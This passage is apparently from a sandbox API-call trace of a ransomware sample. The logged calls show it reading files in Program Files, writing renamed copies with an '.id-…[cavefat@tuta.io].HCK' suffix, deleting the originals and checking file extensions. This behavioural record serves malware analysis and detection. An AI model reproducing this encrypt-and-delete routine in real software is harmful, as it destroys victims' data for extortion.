Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.452] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.452] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.452] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.452] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0150.452] GetLastError () returned 0x0 [0150.452] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0150.454] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0150.456] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.456] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x118, lpOverlapped=0x0) returned 1 [0150.456] SetEndOfFile (hFile=0x2f0) returned 1 [0150.456] CloseHandle (hObject=0x2f0) returned 1 [0150.458] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.458] SetEndOfFile (hFile=0x2e8) returned 1 [0150.459] CloseHandle (hObject=0x2e8) returned 1 [0150.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0150.459] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0150.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.459] lstrlenW (lpString=".doc") returned 4 [0150.459] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0150.459] lstrlenW (lpString=".docx") returned 5 [0150.459] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0150.459] lstrlenW (lpString=".pdf") returned 4 [0150.459] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0150.459] lstrlenW (lpString=".xls") returned 4 [0150.459] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0150.459] lstrlenW (lpString=".xlsx") returned 5 [0150.459] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0150.459] lstrlenW (lpString=".ppt") returned 4 [0150.459] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0150.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.459] lstrlenW (lpString=".zip") returned 4 [0150.459] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0150.459] lstrlenW (lpString=".rar") returned 4 [0150.459] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".bz2") returned 4 [0150.460] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".7z") returned 3 [0150.460] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".dbf") returned 4 [0150.460] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".1cd") returned 4 [0150.460] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".jpg") returned 4 [0150.460] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".doc") returned 4 [0150.460] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".docx") returned 5 [0150.460] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0150.460] lstrlenW (lpString=".pdf") returned 4 [0150.460] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".xls") returned 4 [0150.460] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0150.460] lstrlenW (lpString=".xlsx") returned 5 [0150.460] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0150.460] lstrlenW (lpString=".ppt") returned 4 [0150.460] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".zip") returned 4 [0150.460] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0150.460] lstrlenW (lpString=".rar") returned 4 [0150.460] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".bz2") returned 4 [0150.460] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString=".7z") returned 3 [0150.460] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".dbf") returned 4 [0150.460] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".1cd") returned 4 [0150.460] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0150.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0150.460] lstrlenW (lpString=".jpg") returned 4 [0150.460] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0150.460] lstrcmpiW (lpString1=".txt", lpString2=".HCK") returned 1 [0150.460] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0150.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.461] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=145180) returned 1 [0150.461] CloseHandle (hObject=0x2e8) returned 1 [0150.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0150.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.461] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.461] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0150.461] GetLastError () returned 0x0 [0150.461] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2371c, lpOverlapped=0x0) returned 1 [0150.466] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x23720, lpOverlapped=0x0) returned 1 [0150.468] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.468] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x10a, lpOverlapped=0x0) returned 1 [0150.468] SetEndOfFile (hFile=0x2f0) returned 1 [0150.469] CloseHandle (hObject=0x2f0) returned 1 [0150.472] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.472] SetEndOfFile (hFile=0x2e8) returned 1 [0150.473] CloseHandle (hObject=0x2e8) returned 1 [0150.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0150.474] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.474] lstrlenW (lpString=".doc") returned 4 [0150.474] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0150.474] lstrlenW (lpString=".docx") returned 5 [0150.474] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0150.474] lstrlenW (lpString=".pdf") returned 4 [0150.474] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0150.474] lstrlenW (lpString=".xls") returned 4 [0150.474] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0150.474] lstrlenW (lpString=".xlsx") returned 5 [0150.474] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0150.474] lstrlenW (lpString=".ppt") returned 4 [0150.474] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.474] lstrlenW (lpString=".zip") returned 4 [0150.474] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0150.474] lstrlenW (lpString=".rar") returned 4 [0150.474] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0150.474] lstrlenW (lpString=".bz2") returned 4 [0150.474] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0150.474] lstrlenW (lpString=".7z") returned 3 [0150.474] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".dbf") returned 4 [0150.475] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".1cd") returned 4 [0150.475] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".jpg") returned 4 [0150.475] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".doc") returned 4 [0150.475] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString=".docx") returned 5 [0150.475] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0150.475] lstrlenW (lpString=".pdf") returned 4 [0150.475] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString=".xls") returned 4 [0150.475] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0150.475] lstrlenW (lpString=".xlsx") returned 5 [0150.475] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0150.475] lstrlenW (lpString=".ppt") returned 4 [0150.475] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".zip") returned 4 [0150.475] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0150.475] lstrlenW (lpString=".rar") returned 4 [0150.475] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString=".bz2") returned 4 [0150.475] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString=".7z") returned 3 [0150.475] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".dbf") returned 4 [0150.475] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".1cd") returned 4 [0150.475] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0150.475] lstrlenW (lpString=".jpg") returned 4 [0150.476] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0150.476] lstrcmpiW (lpString1=".html", lpString2=".HCK") returned 1 [0150.476] lstrlenW (lpString="Welcome.html") returned 12 [0150.476] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.476] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=955) returned 1 [0150.476] CloseHandle (hObject=0x2e8) returned 1 [0150.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0150.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.476] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.476] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.476] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.477] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0150.477] GetLastError () returned 0x0 [0150.477] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0150.478] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0150.780] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.780] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.780] SetEndOfFile (hFile=0x2f0) returned 1 [0150.780] CloseHandle (hObject=0x2f0) returned 1 [0150.780] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.781] SetEndOfFile (hFile=0x2e8) returned 1 [0150.781] CloseHandle (hObject=0x2e8) returned 1 [0150.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0151.195] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0151.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.195] lstrlenW (lpString=".doc") returned 4 [0151.195] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0151.195] lstrlenW (lpString=".docx") returned 5 [0151.195] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0151.195] lstrlenW (lpString=".pdf") returned 4 [0151.195] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0151.195] lstrlenW (lpString=".xls") returned 4 [0151.195] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".xlsx") returned 5 [0151.196] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0151.196] lstrlenW (lpString=".ppt") returned 4 [0151.196] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".zip") returned 4 [0151.196] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".rar") returned 4 [0151.196] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".bz2") returned 4 [0151.196] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".7z") returned 3 [0151.196] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".dbf") returned 4 [0151.196] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".1cd") returned 4 [0151.196] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".jpg") returned 4 [0151.196] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".doc") returned 4 [0151.196] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".docx") returned 5 [0151.196] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0151.196] lstrlenW (lpString=".pdf") returned 4 [0151.196] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".xls") returned 4 [0151.196] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".xlsx") returned 5 [0151.196] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0151.196] lstrlenW (lpString=".ppt") returned 4 [0151.196] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.196] lstrlenW (lpString=".zip") returned 4 [0151.196] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".rar") returned 4 [0151.196] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".bz2") returned 4 [0151.196] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0151.196] lstrlenW (lpString=".7z") returned 3 [0151.196] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0151.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.197] lstrlenW (lpString=".dbf") returned 4 [0151.197] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0151.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.197] lstrlenW (lpString=".1cd") returned 4 [0151.197] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0151.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0151.197] lstrlenW (lpString=".jpg") returned 4 [0151.197] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0151.197] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0151.197] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0151.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0151.197] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=281) returned 1 [0151.197] CloseHandle (hObject=0x2f0) returned 1 [0151.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0151.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0151.197] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.197] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0151.198] 